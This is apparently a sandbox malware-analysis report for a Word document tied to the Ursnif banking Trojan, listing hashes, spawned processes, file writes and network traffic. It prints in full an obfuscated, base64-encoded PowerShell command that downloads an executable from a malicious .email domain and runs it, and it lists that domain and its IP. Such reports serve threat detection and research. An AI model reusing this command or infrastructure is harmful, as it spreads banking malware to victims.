File name: | Richiesta1.doc |
Full analysis: | https://app.any.run/tasks/25e44706-e97c-4ed2-88ee-6034893982b2 |
Verdict: | Malicious activity |
Threats: | Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world. |
Analysis date: | March 21, 2019, 09:18:55 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 20 20:44:00 2019, Last Saved Time/Date: Wed Mar 20 20:44:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0 |
MD5: | 7EC7826B70863AE0E58F22F49E666233 |
SHA1: | D05236723611C2733202C940AD3033514E0E6BE1 |
SHA256: | A8F97C1F64D2DE4E9638AE627B2EDDCE416A24658385A80072A08426C0DE469C |
SSDEEP: | 1536:XODBTb5VnUvWMyDoTITDH3eIKJKYD+viErrHQ+a9OD5AXmHSDMS41x8JEu5lR9:XODBTb5VUvVy6ITzpODz2GXmHSISCo9 |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:03:20 20:44:00 |
ModifyDate: | 2019:03:20 20:44:00 |
Pages: | 1 |
Words: | - |
Characters: | 5 |
Security: | None |
CodePage: | Windows Cyrillic |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 5 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1152 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Richiesta1.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
464 | powershell -e JABEAEEANABBAEEANAA9ACgAJwBHAEEAQQBCACcAKwAnAEIARwBBACcAKQA7ACQATQBVAEEAQwBBAEEAPQAuACgAJwBuAGUAdwAtAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAEYAbwBBAGsAYwBEAD0AKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AbQBrAGEAJwArACcAdABhAHIAJwArACcAaQBuAGEANwAwADkANABtACcAKwAnAGEAJwArACcAeQBiAGUAbABsAGUAJwArACcALgBlAG0AYQBpAGwALwBsAG8AJwArACcAcQAnACsAJwA5ACcAKwAnADEAJwArACcALwAxADAAJwArACcAeAAnACsAJwAuAHAAaAAnACsAJwBwAD8AJwArACcAbAAnACsAJwA9AHAAbwBmAGUAJwArACcAeAAnACsAJwA2AC4AagAnACsAJwBhAGQAJwApAC4AKAAnAFMAcABsAGkAJwArACcAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAGoARABBAFEAWgBEAD0AKAAnAE0AQQAnACsAJwBBAEEAQQBBADEAJwApADsAJABuAHgAQwBaAEEAVQB4ACAAPQAgACgAJwA1ADQAJwArACcANwAnACkAOwAkAHYAQwAxADQAQQBRAGMAPQAoACcAcQAnACsAJwBBAEEARABaAEEAQQAnACkAOwAkAGoAQQBRADEAWgA0AEEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAG4AeABDAFoAQQBVAHgAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABoAFgAMQBRADEAQgAgAGkAbgAgACQARgBvAEEAawBjAEQAKQB7AHQAcgB5AHsAJABNAFUAQQBDAEEAQQAuACgAJwBEACcAKwAnAG8AdwBuAGwAbwBhAGQARgBpAGwAJwArACcAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAaABYADEAUQAxAEIALAAgACQAagBBAFEAMQBaADQAQQApADsAJABFAEQAUQBBAFEAVQBBAD0AKAAnAHYAWAAnACsAJwA0AEEAQQBHACcAKwAnAEEAWgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAagBBAFEAMQBaADQAQQApAC4AIgBMAGAAZQBOAEcAdABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABqAEEAUQAxAFoANABBADsAJABGAEEAVQBBAEEAVQA9ACgAJwBRAFUAQQBBAFoAJwArACcARABBAF8AJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGkAVQA0AEcAVQBHAEEAQQA9ACgAJwB0AHcAWABjACcAKwAnAEEAVQAnACsAJwA0AHcAJwApADsA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
4076 | "C:\Program Files\Internet Explorer\iexplore.exe" | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
236 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:4076 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
|
PID | Process | Filename | Type | |
---|---|---|---|---|
1152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8822.tmp.cvr | — | |
MD5:— | SHA256:— | |||
464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AUHI8XFT2AUKTEVKSIPW.temp | — | |
MD5:— | SHA256:— | |||
4076 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
4076 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
236 | iexplore.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@bing[2].txt | — | |
MD5:— | SHA256:— | |||
236 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\YY1RIPSQ\search[1].txt | — | |
MD5:— | SHA256:— | |||
1152 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:49D078DFAB25D5E3C9BA0DC7191EB69E | SHA256:C4A3368F95BC9CFC3F1A19EBDBC1D83299047F14178D10D8BC1B5B778FC23B4C | |||
1152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:9EA71C1F4BB0EF0561A4351323D50F71 | SHA256:62E83B0BABA832FC317CA20A0C8175E922DEDFE201F45ABDAB48818BCE536AB1 | |||
464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf9580.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
464 | powershell.exe | GET | 404 | 89.223.28.79:80 | http://mkatarina7094maybelle.email/loq91/10x.php?l=pofex6.jad | RU | — | — | malicious |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/rms/BingCore.Bundle/cj,nj/3e6a7d75/9a358300.js?bu=rms+answers+Shared+BingCore%24ClientInstV2%24DuplicateXlsDefaultConfig*BingCore%24ClientInstV2%24SharedLocalStorageConfigDefault*BingCore%24shared*BingCore%24env.override*Empty*BingCore%24event.custom.fix*BingCore%24event.native*BingCore%24onHTML*BingCore%24dom*BingCore%24cookies*BingCore%24rmsajax*BingCore%24ClientInstV2%24LogUploadCapFeatureDisabled*BingCore%24ClientInstV2%24ClientInstConfigSeparateOfflineQueue*BingCore%24clientinst*BingCore%24replay*BingCore%24Animation*BingCore%24fadeAnimation*BingCore%24framework | US | text | 4.95 Kb | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/rb/16/cj,nj/1b7dfb88/cc8437ad.js?bu=DikuXGxwdGhgZKwBsAEuoAEu | US | text | 7.54 Kb | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/search?q=mkatarina7094maybelle.email%26log91%2610x.php&src=IE-SearchBox&FORM=IE8SRC | US | html | 23.6 Kb | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/rs/30/1H/cj,nj/5983aa50/f8c6dd44.js | US | text | 773 b | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/rs/30/1X/cj,nj/4c7364c5/40e1b425.js | US | text | 816 b | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/fd/ls/l?IG=594DD9C0ADD34140B3F4AADA965C7021&CID=1C29BDB229D96849028FB09428E469D4&Type=Event.CPT&DATA={"pp":{"S":"L","FC":137,"BC":140,"SE":-1,"TC":-1,"H":155,"BP":238,"CT":254,"IL":2},"ad":[-1,-1,772,444,1089,498,0]}&P=SERP&DA=DUB02 | US | image | 5.73 Kb | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/sa/simg/SharedSpriteDesktopRewards_022118.png | US | image | 5.73 Kb | whitelisted |
236 | iexplore.exe | POST | 204 | 204.79.197.200:80 | http://www.bing.com/fd/ls/lsp.aspx | US | compressed | 7.54 Kb | whitelisted |
236 | iexplore.exe | GET | 200 | 204.79.197.222:80 | http://62cdc289745c26beae146e0520dbfd89.clo.footprintdns.com/apc/trans.gif | US | image | 43 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
236 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
236 | iexplore.exe | 204.79.197.200:443 | www.bing.com | Microsoft Corporation | US | whitelisted |
464 | powershell.exe | 89.223.28.79:80 | mkatarina7094maybelle.email | Trader soft LLC | RU | suspicious |
236 | iexplore.exe | 204.79.197.222:80 | 62cdc289745c26beae146e0520dbfd89.clo.footprintdns.com | Microsoft Corporation | US | whitelisted |
4076 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
236 | iexplore.exe | 65.55.163.76:443 | login.live.com | Microsoft Corporation | US | whitelisted |
236 | iexplore.exe | 51.140.136.19:80 | e3b04204ddd7fc29bd6daa082bdbd7aa.clo.footprintdns.com | Microsoft Corporation | GB | whitelisted |
236 | iexplore.exe | 52.231.32.10:80 | a09b90f69fe4b09ede83157e929c0022.clo.footprintdns.com | Microsoft Corporation | KR | whitelisted |
Domain | IP | Reputation |
---|---|---|
mkatarina7094maybelle.email |
| malicious |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
62cdc289745c26beae146e0520dbfd89.clo.footprintdns.com |
| suspicious |
e3b04204ddd7fc29bd6daa082bdbd7aa.clo.footprintdns.com |
| unknown |
a09b90f69fe4b09ede83157e929c0022.clo.footprintdns.com |
| unknown |
fp.msedge.net |
| whitelisted |